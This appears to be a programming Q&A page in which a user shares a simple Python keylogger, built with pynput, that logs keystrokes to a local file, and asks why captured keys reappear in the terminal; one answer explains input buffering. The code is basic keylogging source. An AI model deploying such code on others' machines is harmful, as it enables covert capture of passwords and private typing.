Sinjini
Sinjini

Reputation: 19

Why my keys are shown in the terminal after the execution of the code, giving me errors?

I was writing a simple python code for keylogger, it worked fine until I saved and closed the file. After I reopen the file, it is now giving me this error. I am not able to figure out the reason behind the error.

enter image description here

`

import pynput
from pynput.keyboard import Key,Listener

count = 0
keys = []


def write_file(keys):
    with open("thefile.txt","a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k == Key.space:
                f.write(" ")
            if k == Key.enter:
                f.write("\n")
            f.write(k)


def press(key):
    global count,keys
    keys.append(key)         #this will update the keys list everytime we press the keys.
    count += 1               #this will count the number of presses
    print("{0} pressed".format(key)) #this will print every key being printed
    if count >=5:
        count = 0
        write_file(keys)
        keys = []

def release(key):
    if key == Key.esc:
        return False


with Listener(on_press= press, on_release= release) as listener:
    listener. Join()

`

Upvotes: 0

Views: 69

Answers (1)

Jean-Baptiste Yunès
Jean-Baptiste Yunès

Reputation: 36441

Your key listener doesn't consume input only catch it on the fly. So everything you type will be in the input buffer. As soon as you type the command line tool get the hand and consume everything you typed. df is not a command that's what your system says.

Upvotes: 0

Related Questions